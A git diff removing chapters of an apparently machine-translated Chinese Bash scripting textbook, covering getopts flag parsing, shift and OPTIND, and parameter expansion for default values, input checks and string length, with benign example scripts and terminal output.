-对于这些标志中的每一个,我们在`case`语句中都有一个条目:对于`b)`和`g)`,分别将`gender`变量设置为`boy`或`girl`。对于`h)`,在调用`exit 0`之前,调用我们定义的函数。(想想我们为什么要这么做!如果您不确定,请不要退出运行脚本。) - -我们总是通过使用`?)`语法处理未知标志来结束`getopts`块。 - -继续,在我们的`case`语句以`esac`结束后,我们进入实际的功能。我们检查是否定义了`gender`变量:如果是,我们打印一条包含根据标志设置的值的消息。如果未设置(如果既未指定`-b`也未指定`-g`,则属于这种情况),我们会打印省略性别的通用问候语。 - -这也是为什么我们在找到`-h`后`exit 0`:否则帮助信息和问候都会给用户(这很奇怪,因为用户要求*只是*用`-h`的帮助页面)。 - -让我们看看我们的剧本: - -```sh -reader@ubuntu:~/scripts/chapter_15$ bash hey.sh -h -Usage: hey.sh [flags] -Flags: --h for help. --b for male greeting. --g for female greeting. -reader@ubuntu:~/scripts/chapter_15$ bash hey.sh -Hey there! -reader@ubuntu:~/scripts/chapter_15$ bash hey.sh -b -Hey boy! -reader@ubuntu:~/scripts/chapter_15$ bash hey.sh -g -Hey girl! -``` - -到目前为止,一切顺利!如果我们用`-h`来称呼它,我们会看到多行帮助消息被打印出来。默认情况下,每个`echo`以一个换行符结束,所以我们的五个回声打印在五行上。我们可以只使用一个`echo`和`\n`字符,但是这样更易读 - -如果我们在没有标志的情况下运行我们的脚本,我们将看到通用的问候。用`-b`或`-g`运行它会给出特定性别的问候。那不是很容易吗? - -实际上是!然而,它即将变得稍微复杂一点。正如我们之前所解释的,用户往往相当不可预测,可能会使用太多的标志,或者多次使用相同的标志。 - -让我们看看我们的脚本对此的反应: - -```sh -reader@ubuntu:~/scripts/chapter_15$ bash hey.sh -h -b -Usage: hey.sh [flags] -Flags: --h for help. --b for male greeting. --g for female greeting. -reader@ubuntu:~/scripts/chapter_15$ bash hey.sh -b -h -Usage: hey.sh [flags] -Flags: --h for help. --b for male greeting. --g for female greeting. -reader@ubuntu:~/scripts/chapter_15$ bash hey.sh -b -h -g -Usage: hey.sh [flags] -Flags: --h for help. --b for male greeting. --g for female greeting. -``` - -所以,不管指定了多少个标志,只要脚本遇到`-h`标志,就会打印帮助消息并退出(由于`exit 0`)。为了您的理解,在调试中使用`bash -x`运行前面的命令,以查看它们实际上是否不同,即使用户没有看到这一点(提示:检查`gender=boy`和`gender=girl`的分配)。 - -这给我们带来了一个重要的观点:*标志按照用户提供的顺序进行解析!*为了进一步说明这一点,我们来看另一个用户摆弄标志的例子: - -```sh -reader@ubuntu:~/scripts/chapter_15$ bash hey.sh -g -b -Hey boy! -reader@ubuntu:~/scripts/chapter_15$ bash hey.sh -b -g -Hey girl! -``` - -当用户同时提供`-b`和`-g`标志时,性别的两个变量分配都由系统执行。然而,看起来好像最终的标志是获胜的,尽管我们刚刚声明标志是按顺序解析的!为什么会这样? - -一如既往,一个漂亮的`bash -x`让我们对这种情况有了一个很好的了解: - -```sh -reader@ubuntu:~/scripts/chapter_15$ bash -x hey.sh -b -g -+ optstring=:bgh -+ getopts :bgh options -+ case ${options} in -+ gender=boy -+ getopts :bgh options -+ case ${options} in -+ gender=girl -+ getopts :bgh options -+ [[ -n girl ]] -+ echo 'Hey girl!' -Hey girl! -``` - -最初,`gender`变量被赋予`boy`的值。然而,当解析下一个标志时,变量的值被新值、`girl`覆盖。由于`-g`标志是最后一个,`gender`变量以`girl`结束,因此这就是打印的内容。 - -正如您将在本章的下一部分看到的,可以为标志提供一个参数。但是,对于没有参数的标志,有一个非常酷的特性,许多命令都使用:标志链接。这听起来可能很复杂,但实际上很简单:如果你有多个标志,你可以把它们都放在一个破折号后面。 - -对于我们的脚本,它看起来像这样: - -```sh -reader@ubuntu:~/scripts/chapter_15$ bash -x hey.sh -bgh -+ optstring=:bgh -+ getopts :bgh options -+ case ${options} in -+ gender=boy -+ getopts :bgh options -+ case ${options} in -+ gender=girl -+ getopts :bgh options -+ case ${options} in -+ print_help - -``` - -我们将所有旗帜指定为一束:我们使用了`-bgh`而不是`-b -g -h`。正如我们之前得出的结论,标记是按顺序处理的,在我们的串联示例中仍然如此(正如调试指令清楚显示的那样)。例如,这与`ls -al`没有太大区别。同样,这仅在标志没有参数的情况下有效。 - -# 带参数的标志 - -在`optstring`中,冒号除了关闭详细的错误记录之外还有一个额外的含义:当放在一个字母之后时,它向`getopts`发出信号,表示需要一个*选项参数*。 - -如果我们回顾我们的第一个例子,`optstring`只是`:v`。如果我们想让`-v`旗帜接受一个论点,我们可以在`v`后面加上一个冒号,这样就会产生下面的`optstring` : `:v:`。然后,我们可以使用我们之前见过的特殊变量`OPTARG`,来获取***opt**ion**arg**ument*。 - -我们将修改我们的`single-flag.sh`脚本,向您展示这是如何工作的: - -```sh -reader@ubuntu:~/scripts/chapter_15$ vim single-flag.sh -reader@ubuntu:~/scripts/chapter_15$ cat single-flag.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -# Date: 2018-12-14 -# Description: Shows the basic getopts syntax. -# Usage: ./single-flag.sh [flags] -##################################### - -# Parse the flags in a while loop. -# After the last flag, getopts returns false which ends the loop. -optstring=":v:" -while getopts ${optstring} options; do - case ${options} in - v) - echo "-v was found!" - echo "-v option argument is: ${OPTARG}." - ;; - ?) - echo "Invalid option: -${OPTARG}." - exit 1 - ;; - esac -done -``` - -为了您的方便,已更改的行已突出显示。通过在`optstring`中添加一个冒号,并在`v)`块中使用`OPTARG`变量,我们现在可以看到运行脚本时的以下行为: - -```sh -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -v Hello --v was found! --v option argument is: Hello. -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -vHello --v was found! --v option argument is: Hello. -``` - -如您所见,只要我们提供 flag 和 flag 参数,我们的脚本就可以正常工作。我们甚至不需要在 flag 和 flag 参数之间留一个空格;由于`getopts`知道一个参数是预期的,它可以处理一个空格或者不处理空格。我们总是建议在任何情况下都包含空格,以确保可读性,但在技术上并不需要。 - -此外,这也证明了为什么我们需要一个单独的`optstring`:`case`的说法是一样的,但是`getopts`现在期待一个争论,如果创作者省略了`optstring`的话,我们不可能做到这一点。 - -就像所有看起来好得难以置信的事情一样,这是其中一种情况。如果用户对您的脚本很好,这很好,但是如果他/她对您的脚本不好,可能会发生以下情况: - -```sh -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -v -Invalid option: -v. -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -v '' --v was found! --v option argument is: -``` - -现在我们已经告诉`getopts`期待对`-v`标志的一个参数,如果没有参数,它实际上将不能正确识别标志。然而,第二个脚本调用中的`''`所表示的空参数是可以的。(技术上没问题,也就是说,因为没有用户会这么做。) - -幸运的是,对此有一个解决方案——`:)`块,如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_15$ vim single-flag.sh -reader@ubuntu:~/scripts/chapter_15$ cat single-flag.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.2.0 -# Date: 2018-12-14 -# Description: Shows the basic getopts syntax. -# Usage: ./single-flag.sh [flags] -##################################### - -# Parse the flags in a while loop. -# After the last flag, getopts returns false which ends the loop. -optstring=":v:" -while getopts ${optstring} options; do - case ${options} in - v) - echo "-v was found!" - echo "-v option argument is: ${OPTARG}." - ;; - :) - echo "-${OPTARG} requires an argument." - exit 1 - ;; - ?) - echo "Invalid option: -${OPTARG}." - exit 1 - ;; - esac -done -``` - -错误的标志和丢失的选项参数都被解析为`OPTARG`,这可能有点令人困惑。在不使这种情况变得更加复杂的情况下,这完全取决于此时的`case`语句块是包含`?)`还是`:)`。对于`?)`块,所有未被识别的内容(整个标志)都被视为选项参数,并且`:)`块仅在`optstring`包含带有参数的选项的正确指令时触发。 - -现在一切都应该按计划进行: - -```sh -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -v --v requires an argument. -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -v Hi --v was found! --v option argument is: Hi. -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -x Hi -Invalid option: -x. -reader@ubuntu:~/scripts/chapter_15$ bash single-flag.sh -x -v Hi -Invalid option: -x. -``` - -同样,由于标志的顺序处理,由于`?)`块中的`exit 1`,最终调用从未到达`-v`标志。然而,所有其他情况现在都得到了妥善解决。很好! - -The actual processing that `getopts` does involves multiple passes and the use of `shift`. This is a little too technical for this chapter, but for those curious among you, the *Further reading* section includes a *very* in-depth explanation of this mechanism that you can read at your leisure. - -# 将标志与位置参数相结合 - -可以将位置参数(以我们在本章之前使用它们的方式)与选项和选项参数相结合。在这种情况下,需要考虑一些事情: - -* 默认情况下,Bash 将`-f`等标志识别为位置参数 -* 正如标志和标志参数有顺序一样,标志和位置参数也有顺序 - -当处理`getopts`和位置参数的混合时,*标志和标志选项应该总是在位置参数之前提供!*这是因为我们希望在获取位置参数之前解析和处理所有标志和标志参数。对于脚本和命令行工具来说,这是一个相当典型的场景,但这仍然是我们必须考虑的事情。 - -一如既往,所有上述观点都可以通过一个例子得到最好的说明。我们将创建一个简单的脚本,作为常见文件操作的包装器。有了这个脚本,`file-tool.sh`,我们将能够做以下事情: - -* 列出文件(默认行为) -* 删除文件(使用`-d`选项) -* 清空文件(使用`-e`选项) -* 重命名文件(使用`-m`选项,包括另一个文件名) -* 调用帮助功能(用`-h`) - -看一下脚本: - -```sh -reader@ubuntu:~/scripts/chapter_15$ vim file-tool.sh -reader@ubuntu:~/scripts/chapter_15$ cat file-tool.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-12-14 -# Description: A tool which allows us to manipulate files. -# Usage: ./file-tool.sh [flags] -##################################### - -print_help() { - echo "Usage: $0 [flags] " - echo "Flags:" - echo "No flags for file listing." - echo "-d to delete the file." - echo "-e to empty the file." - echo "-m to rename the file." - echo "-h for help." -} - -command="ls -l" # Default command, can be overridden. - -optstring=":dem:h" # The m option contains an option argument. -while getopts ${optstring} options; do - case ${options} in - d) - command="rm -f";; - e) - command="cp /dev/null";; - m) - new_filename=${OPTARG}; command="mv";; - h) - print_help; exit 0;; - :) - echo "-${OPTARG} requires an argument."; exit 1;; - ?) - echo "Invalid option: -${OPTARG}." exit 1;; - esac -done - -# Remove the parsed flags from the arguments array with shift. -shift $(( ${OPTIND} - 1 )) # -1 so the file-name is not shifted away. - -filename=$1 - -# Make sure the user supplied a writable file to manipulate. -if [[ $# -ne 1 || ! -w ${filename} ]]; then - echo "Supply a writable file to manipulate! Exiting script." - exit 1 -fi - -# Everything should be fine, execute the operation. -if [[ -n ${new_filename} ]]; then # Only set for -m. - ${command} ${filename} $(dirname ${filename})/${new_filename} -else # Everything besides -m. - ${command} ${filename} -fi -``` - -那是一个大的,不是吗?我们通过将多行压缩成单行(在`case`语句中)的方式稍微缩短了一点,但它仍然不是一个短脚本。虽然一开始看起来很吓人,但我们确信,随着你到目前为止的曝光,以及剧本中的评论,你应该可以理解这一点。如果现在还不能完全理解,别担心——我们现在要解释所有新的有趣的台词。 - -我们跳过了标题、`print_help()`功能和`ls -l`的默认命令。第一个有趣的部分是`optstring`,它现在包含有和没有选项参数的选项: - -```sh -optstring=":dem:h" # The m option contains an option argument. -``` - -当我们到达`m)`块时,我们将选项参数保存在`new_filename`变量中以备后用。 - -当我们完成对`getopts`的`case`语句时,我们会遇到一个我们之前短暂看到过的命令:`shift`。这个命令允许我们移动位置参数:如果我们做`shift 2`,参数`$4`变成`$2`,参数`$3`变成`$1`,旧的`$1`和`$2`被移除。 - -当处理标志后面的位置参数时,所有标志和标志参数也被视为位置参数。在这种情况下,如果我们将脚本称为`file-tool.sh -m newfile /tmp/oldfile`,Bash 将解释如下内容: - -* `$1`:解释为`-m` -* `$2`:解释为新文件 -* `$3`:解释为`/tmp/oldfile` - -幸运的是,`getopts`将处理过的选项(和选项参数)保存在变量中:`$OPTIND`(来自***opt**ion**ind**ex*)。更准确地说,在解析了一个选项后,它将`$OPTIND`设置为下一个可能的选项或选项参数:它从 1 开始,在找到传递给脚本的第一个非选项参数时结束。 - -在我们的例子中,一旦`getopts`到达我们的位置参数`/tmp/oldfile`,则`$OPTIND`变量将是`3`。由于我们只需要将`shift`之前的所有点去掉,我们从`$OPTIND`中减去 1,如下所示: - -```sh -shift $(( ${OPTIND} - 1 )) # -1 so the file-name is not shifted away. -``` - -记住,`$(( ... ))`是算术的简写;产生的数字用于`shift`命令。脚本的其余部分非常简单:我们将做一些检查,以确保我们只剩下一个位置参数(我们想要操作的文件的文件名),以及我们是否对该文件拥有写权限。 - -接下来,根据我们选择的操作,我们要么为`mv`做一个复杂的操作,要么为所有其他操作做一个简单的操作。对于 rename 命令,我们将使用一点命令替换来确定原始文件名的目录名,然后我们将在 rename 中重用它。 - -如果我们像我们应该做的那样做我们的测试,脚本应该能够完全满足我们设定的所有需求。我们鼓励你试一试。 - -更好的是,看看你能否想出一个我们没有想到的破坏脚本功能的情况。如果你真的发现了什么(剧透提醒:我们知道一些缺点!),尽量自己修。 - -As you may start to realize, we're entering territory in which it is very hard to harden scripts for every user input. For example, in the last example, if we supply the `-m` option but omit the content, the filename we supply will be seen as the option argument. In this case, instead of throwing an error for a missing option argument, our script will `shift` the filename away and complain that it doesn't have it. While this script should serve for educational purposes, it is not something that we would trust for our workplace scripting. It is often better not to mix `getopts` with positional arguments, as you would avoid many of the complexities we've faced here. Just have the user supply the filename as another option argument (`-f`, anyone?) and you'll be much happier! - -# 摘要 - -本章首先回顾了在 Bash 中如何使用位置参数。我们继续向您展示了我们到目前为止引入的大多数命令行工具(以及我们还没有引入的工具)如何使用标志,通常作为脚本功能的*修饰符*,而位置参数用于指示命令的*目标*。 - -然后,我们为读者介绍了一种在他们自己的脚本中合并选项和选项参数的方法:通过使用`getopts` shell 内建。我们首先讨论了遗留程序`getopt`和较新的内置程序`getopts`之间的差异,这是本章剩余部分的重点。 - -由于`getopts`只允许我们使用短选项(而`getopt`和其他一些命令行工具也使用长选项,用双破折号表示),我们向您展示了这是如何由于对常见短选项(如`-h`、`-v`等)的认可而不成为问题的。 - -我们用几个例子恰当地介绍了`getopts`语法。我们展示了如何使用带和不带标志参数的标志,以及我们如何需要一个`optstring`来向`getopts`发出信号,说明哪些选项有参数(甚至哪些选项是可以期待的)。 - -我们在本章的最后向您展示了如何通过巧妙地使用`shift`命令来处理这个问题,从而将选项和选项参数与位置参数相结合。 - -本章介绍了以下命令:`getopts`和`shift`。 - -# 问题 - -1. 为什么标志经常被用作修饰符,而位置参数被用作目标? -2. 为什么我们在`while`循环中运行`getopts`? -3. 为什么我们在`case`语句中需要`?)`? -4. 为什么我们(有时)需要`case`语句中的`:)`? -5. 如果我们正在解决所有选项,为什么我们需要一个单独的`optstring`? -6. 为什么在`shift`中使用`OPTIND`变量时需要减去 1? -7. 将选项与位置参数混合是个好主意吗? - -# 进一步阅读 - -有关本章主题的更多信息,请参考以下链接: - -* 迎头痛击黑客在`getopts`:[http://wiki.bash-hackers.org/howto/getopts_tutorial](http://wiki.bash-hackers.org/howto/getopts_tutorial) -* `getopts`深度:[https://www.computerhope.com/unix/bash/getopts.htm](https://www.computerhope.com/unix/bash/getopts.htm)** \ No newline at end of file diff --git a/docs/learn-linux-shell-script/16.md b/docs/learn-linux-shell-script/16.md deleted file mode 100644 index c8438f53..00000000 --- a/docs/learn-linux-shell-script/16.md +++ /dev/null @@ -1,736 +0,0 @@ -# 十六、Bash 参数替换和扩展 - -本章专门介绍 Bash 的一个特殊特性:参数扩展。参数扩展允许我们用变量做许多有趣的事情,我们将对此进行广泛的介绍。 - -我们将首先讨论变量的默认值、输入检查和变量长度。在本章的第二部分,我们将更仔细地研究如何操纵变量。这包括替换和移除文本中的模式,修改变量的大小写,以及使用子字符串。 - -本章将介绍以下命令:`export`和`dirname`。 - -本章将涵盖以下主题: - -* 参数展开 -* 可变操纵 - -# 技术要求 - -本章的所有脚本都可以在 GitHub 上找到,链接如下:[https://GitHub . com/PacktPublishing/Learn-Linux-Shell-Scripting-Bash-4.4 基础/tree/master/Chapter16](https://github.com/PacktPublishing/Learn-Linux-Shell-Scripting-Fundamentals-of-Bash-4.4/tree/master/Chapter16) 。对于这最后一章,你的 Ubuntu 虚拟机应该会再次帮助你。 - -# 参数展开 - -在这倒数第二章中,最后一章是提示和技巧,我们将处理 Bash 的一个非常酷的特性:*参数扩展*。 - -我们将从一些术语的注释开始。首先,Bash 中考虑的*参数扩展*处理的不仅仅是提供给脚本的参数/参数:我们将在本章中讨论的所有特殊操作都适用于 Bash *变量*。在官方 Bash 手册页面(`man bash`)中,这些都被称为参数。 - -对于脚本的位置参数,甚至是带有参数的选项,这是有意义的。然而,一旦我们进入由脚本创建者定义的常量的领域,常量/变量和参数之间的区别就变得有点模糊了。这没有进一步的后果;请记住,当你在一个`man page`中看到*参数*这个词时,它可能是泛指变量。 - -其次,人们往往对*参数扩展*和*参数替换*这两个术语有点混淆,你会在网上看到这两个术语可以互换使用。在官方文件中,*替代*一词仅用于*命令替代*和*过程* *替代*。 - -命令替换是我们已经讨论过的:它是`$(...)`语法。过程替换相当高级,没有被描述过:如果你曾经遇到`<(...)`语法,你正在处理过程替换。我们在本章的*进一步阅读*一节中包含了一篇关于过程替代的文章,所以一定要看看。 - -我们认为,这种混乱源于这样一个事实,即*参数替换*,即在运行时用变量名的值替换变量名,只被认为是 Bash 中更大的*参数扩展*的一小部分。这就是为什么你会看到一些文章或资料将参数扩展的所有伟大特性(缺省值、用例操作和模式移除,仅举几个例子)作为参数替换。 - -同样,只要记住这些术语经常互换,人们(可能)在谈论同样的事情。如果你对自己有疑问,我们建议在你的任何一台机器上打开 Bash `man page`,并坚持官方名称:*参数扩展*。 - -# 参数替换–概述 - -虽然在这一点上对您来说可能没有必要,但我们希望快速回顾一下参数替换,以便我们可以将其放在更大的参数扩展上下文中。 - -正如我们在引言中所述,正如您在本书中所看到的,参数替换只不过是在运行时用变量的值替换变量。在命令行上,这看起来有点像下面这样: - -```sh -reader@ubuntu:~/scripts/chapter_16$ export word=Script -reader@ubuntu:~/scripts/chapter_16$ echo ${word} -Script -reader@ubuntu:~/scripts/chapter_16$ echo "You're reading: Learn Linux Shell ${word}ing" -You're reading: Learn Linux Shell Scripting -reader@ubuntu:~/scripts/chapter_16$ echo "You're reading: Learn Linux Shell $wording" -You're reading: Learn Linux Shell -``` - -通常在总结中,你不会学到任何新的东西,但是因为我们只是在上下文中使用它,所以我们设法在这里偷偷加入了一些新的东西:命令`export`。`export`是一个 Shell 内置程序(通过`type -a export`找到的),我们可以阅读关于使用`help export`的信息(这是获取所有 Shell 内置程序信息的方式)。 - -我们在设置变量值时并不总是需要使用`export`:在这种情况下,我们也可以只使用`word=Script`。通常,当我们设置一个变量时,它只在我们当前的 shell 中可用。在 shell 分叉中运行的任何进程都没有分叉的那部分环境:它们看不到我们分配给变量的值。 - -虽然并不总是必要的,但你可能会在网上寻找答案时遇到`export`的使用,所以知道它是做什么的就好了! - -这个例子的其余部分应该是不言自明的。我们给一个变量赋值,在运行时使用参数替换(在这种情况下,用`echo`代替变量名,用实际值代替。 - -作为提醒,我们将向您展示为什么我们建议您总是在变量周围包含大括号:它确保 Bash 知道变量名称的开始和结束位置。在最后的`echo`中,我们可以忘记这样做,我们看到变量解析不正确,文本没有正确打印。虽然不是所有脚本都需要,但我们认为它看起来更好,是一个很好的实践,您应该始终遵循。 - -As far as we're concerned, only what we've covered here falls under *parameter substitution*. All other features in this chapter are *parameter expansion*, and we will refer to them accordingly! - -# 默认值 - -打开参数扩展!正如我们所暗示的,Bash 允许我们直接用变量做很多很酷的事情。我们将从为变量定义默认值这个看似简单的例子开始。 - -在处理用户输入时,这使得您的生活和脚本用户的生活都变得容易得多:只要有一个合理的默认值,我们就可以确保我们使用它,而不是在用户没有提供我们想要的信息时抛出错误。 - -我们将重用我们最早的脚本之一`interactive.sh`,来自 [第八章](08.html)*变量和用户输入*。这是一个非常简单的脚本,不验证用户输入,因此容易出现各种问题。让我们更新它,并为我们的参数添加新的默认值,如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_16$ cp ../chapter_08/interactive-arguments.sh default-interactive-arguments.sh -reader@ubuntu:~/scripts/chapter_16$ vim default-interactive-arguments.sh -reader@ubuntu:~/scripts/chapter_16$ cat default-interactive-arguments.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-12-16 -# Description: Interactive script with default variables. -# Usage: ./interactive-arguments.sh -##################################### - -# Initialize the variables from passed arguments. -character_name=${1:-Sebastiaan} -location=${2:-Utrecht} -food=${3:-frikandellen} - -# Compose the story. -echo "Recently, ${character_name} was seen in ${location} eating ${food}!" -``` - -我们现在将创建一个更复杂的语法,由`man bash`定义,如下所示,而不仅仅是用`$1`、`$2`和`$3`抓取用户输入: - -${parameter:-word} -**Use Default Values.** If parameter is unset or null, the expansion of word is substituted. Otherwise, the value of parameter is substituted. - -同样,您应该将单词*参数*理解为上下文中的*变量*(尽管当用户提供时,它实际上是一个参数的参数,但它也很可能是一个常数)。使用此语法,如果变量未设置或为空(空),将插入破折号后提供的值(在`man page`中称为*字*)。 - -我们已经对所有三个参数进行了测试,让我们看看这在实践中是如何工作的: - -```sh -reader@ubuntu:~/scripts/chapter_16$ bash default-interactive-arguments.sh -Recently, Sebastiaan was seen in Utrecht eating frikandellen! -reader@ubuntu:~/scripts/chapter_16$ bash default-interactive-arguments.sh '' Amsterdam '' -Recently, Sebastiaan was seen in Amsterdam eating frikandellen! -``` - -如果我们没有为脚本提供任何值,所有的默认值都会被插入。如果我们提供三个参数,其中两个只是空字符串(`''`),我们可以看到 Bash 仍然会用缺省值代替空字符串。然而,实际的字符串`Amsterdam`被正确地输入到文本中,而不是 **`Utrecht`。** - -虽然以这种方式处理空字符串通常是可取的行为,但您也可以编写脚本,允许空字符串作为默认变量。看起来如下: - -```sh -reader@ubuntu:~/scripts/chapter_16$ cat /tmp/default-interactive-arguments.sh - -character_name=${1-Sebastiaan} -location=${2-Utrecht} -food=${3-frikandellen} - - -reader@ubuntu:~/scripts/chapter_16$ bash /tmp/default-interactive-arguments.sh '' Amsterdam -Recently, was seen in Amsterdam eating frikandellen! -``` - -在这里,我们创建了一个临时副本来说明这一功能。当您从默认声明中删除冒号(`${1-word}`而不是`${1:-word}`)时,它不再为空字符串插入默认值。然而,对于根本没有设定的价值观来说确实如此,当我们用`'' Amsterdam`而不是`'' Amsterdam ''`来称呼它时就可以看出这一点。 - -根据我们的经验,在大多数情况下,默认值应该忽略空字符串,因此`man page`中呈现的语法更可取。如果你有一个小众案例,尽管,你现在意识到这种可能性! - -对于您的一些脚本,您可能会发现仅仅替换一个默认值是不够的:您更希望将变量设置为一个值,然后可以更细粒度地对其进行评估。这也可以通过参数扩展来实现,如下所示: - -${parameter:=word} -**Assign Default Values.** If parameter is unset or null, the expansion of word is assigned to parameter. The value of parameter is then substituted. Positional parameters and special parameters may not be assigned to in this way. - -我们从未见过使用这个函数的需要,尤其是因为它与位置参数不兼容(因此,我们在此仅提及它,不做详细说明)。但是,和所有事情一样,了解参数扩展在这方面提供的可能性是很好的。 - -# 输入检查 - -与参数扩展设置默认值密切相关的是,如果变量为空,我们也可以使用参数扩展来显示错误。到目前为止,我们已经通过在脚本中实现 if-then 逻辑做到了这一点。虽然这是一个优秀而灵活的解决方案,但它有点冗长——尤其是如果您唯一感兴趣的是提供参数的用户。 - -让我们创建一个我们前面例子的新版本:这个例子不提供默认值,但是如果缺少位置参数,它会提醒用户。 - -我们将使用以下语法: - -${parameter:?word} -**Display Error if Null or Unset.** If parameter is null or unset, the expansion of word (or a message to that effect if word is not present) is written to the standard error and the shell, if it is not interactive, exits. Otherwise, the value of parameter is substituted. - -当我们在脚本中使用它时,它可能看起来像这样: - -```sh -reader@ubuntu:~/scripts/chapter_16$ cp default-interactive-arguments.sh check-arguments.sh -reader@ubuntu:~/scripts/chapter_16$ vim check-arguments.sh eader@ubuntu:~/scripts/chapter_16$ cat check-arguments.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-12-16 -# Description: Script with parameter expansion input checking. -# Usage: ./check-arguments.sh -##################################### - -# Initialize the variables from passed arguments. -character_name=${1:?Name not supplied!} -location=${2:?Location not supplied!} -food=${3:?Food not supplied!} - -# Compose the story. -echo "Recently, ${character_name} was seen in ${location} eating ${food}!" -``` - -再次注意冒号。与前面示例中冒号的工作方式相同,它也强制此参数扩展将空字符串视为 null/unset 值。 - -当我们运行该脚本时,我们会看到以下内容: - -```sh -reader@ubuntu:~/scripts/chapter_16$ bash check-arguments.sh -check-arguments.sh: line 12: 1: Name not supplied! -reader@ubuntu:~/scripts/chapter_16$ bash check-arguments.sh Sanne -check-arguments.sh: line 13: 2: Location not supplied! -reader@ubuntu:~/scripts/chapter_16$ bash check-arguments.sh Sanne Alkmaar -check-arguments.sh: line 14: 3: Food not supplied! -reader@ubuntu:~/scripts/chapter_16$ bash check-arguments.sh Sanne Alkmaar gnocchi -Recently, Sanne was seen in Alkmaar eating gnocchi! -reader@ubuntu:~/scripts/chapter_16$ bash check-arguments.sh Sanne Alkmaar '' -check-arguments.sh: line 14: 3: Food not supplied! -``` - -虽然这很有魅力,但看起来并没有那么棒,不是吗?打印脚本名称和行号,对于脚本用户来说,这似乎是太多的深度信息了。 - -由你来决定你是否认为这些对你的用户来说是可接受的反馈信息;就个人而言,我们认为一个好的 if-then 通常更好,但是关于简洁的脚本,这是无法击败的。 - -There is another parameter expansion closely related to these: `${parameter:+word}`. This allows you to use *word* only if the parameter is NOT null or empty. In our experience, this isn't a common occurrence, but for your scripting needs it might be; look for the words `Use Alternate Value` in `man bash` to get more information. - -# 参数长度 - -到目前为止,我们已经在书中做了很多检查。然而,有一点我们没有实现,那就是所提供的参数的长度。在这一点上,可能不会让你感到惊讶的是我们如何实现这一点:当然是通过参数扩展。语法也很简单: - -${#parameter} -Parameter length. The length in characters of the value of parameter is substituted. If parameter is * or @, the value substituted is the number of positional parameters. - -因此,我们将使用`${#variable}`,而不是打印`${variable}`,它将在运行时替换该值,这将给我们一个数字:我们的值中的字符数。这可能有点棘手,因为像空格这样的东西也可以被认为是字符。 - -看看下面的例子: - -```sh -reader@ubuntu:~/scripts/chapter_16$ variable="hello" -reader@ubuntu:~/scripts/chapter_16$ echo ${#variable} -5 -reader@ubuntu:~/scripts/chapter_16$ variable="hello there" -reader@ubuntu:~/scripts/chapter_16$ echo ${#variable} -11 -``` - -可以看到`hello`这个字被识别为五个字符;目前为止,一切顺利。当我们看句子`hello there`时,我们可以看到两个各有五个字母的单词。虽然您可能期望参数扩展返回`10`,但它实际上返回`11`。由于单词之间用空格隔开,你不应该感到惊讶:这个空格是第 11 个字符。 - -如果我们回顾一下`man bash`页面的语法定义,我们会看到以下有趣的花絮: - -If parameter is * or @, the value substituted is the number of positional parameters. - -还记得在本书的剩余部分中,我们是如何使用`$#`来确定有多少参数被传递给脚本的吗?这实际上是 Bash 参数展开在起作用,因为`${#*}`等于`$#!` - -为了让这些观点深入人心,让我们创建一个快速脚本来处理三个字母的首字母缩略词(我们个人最喜欢的首字母缩略词类型)。目前,该脚本的功能将仅限于验证和打印用户输入,但当我们到达本章末尾时,我们将对其稍加修改,使其更酷: - -```sh -reader@ubuntu:~/scripts/chapter_16$ vim acronyms.sh -reader@ubuntu:~/scripts/chapter_16$ cat acronyms.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-12-16 -# Description: Verify argument length. -# Usage: ./acronyms.sh -##################################### - -# Use full syntax for passed arguments check. -if [[ ${#*} -ne 1 ]]; then - echo "Incorrect number of arguments!" - echo "Usage: $0 " - exit 1 -fi - -acronym=$1 # No need to default anything because of the check above. - -# Check acronym length using parameter expansion. -if [[ ${#acronym} -ne 3 ]]; then - echo "Acronym should be exactly three letters!" - exit 2 -fi - -# All checks passed, we should be good. -echo "Your chosen three letter acronym is: ${acronym}. Nice!" -``` - -我们在这个脚本中做了两件有趣的事情:我们使用了`${#*}`的完整语法来确定传递给我们脚本的参数数量,我们用`${#acronym}`检查了首字母缩略词长度。因为我们使用了两种不同的检查,所以我们使用了两种不同的退出代码:`exit 1`表示错误的参数数量,`exit 2`表示不正确的首字母缩略词长度。 - -在更大、更复杂的脚本中,使用不同的退出代码可能会为您节省大量的故障排除时间,因此我们将其包含在这里以供参考。 - -如果我们现在用不同的不正确和正确的输入运行我们的脚本,我们可以看到它按计划工作: - -```sh -reader@ubuntu:~/scripts/chapter_16$ bash acronyms.sh -Incorrect number of arguments! -Usage: acronyms.sh -reader@ubuntu:~/scripts/chapter_16$ bash acronyms.sh SQL -Your chosen three letter acronym is: SQL. Nice! -reader@ubuntu:~/scripts/chapter_16$ bash acronyms.sh SQL DBA -Incorrect number of arguments! -Usage: acronyms.sh -reader@ubuntu:~/scripts/chapter_16$ bash acronyms.sh TARDIS -Acronym should be exactly three letters -``` - -没有参数,太多的参数,长度不正确的参数:我们有能力处理用户可能扔给我们的所有东西。一如既往,永远不要期望用户做你希望的事情,只要确保你的脚本只有在输入正确的情况下才会执行! - -# 可变操纵 - -Bash 中的参数扩展不仅仅处理默认值、输入检查和参数长度。它实际上还允许我们在使用变量之前对其进行操作。在本章的第二部分,我们将探讨参数扩展中处理*变量操作*(我们的术语;就 Bash 而言,这些只是正常的参数扩展)。 - -我们将从*模式替换*开始,在[第 10 章](10.html)、*正则表达式*中我们对`sed`的解释之后,您应该会熟悉这一点。 - -# 模式替换 - 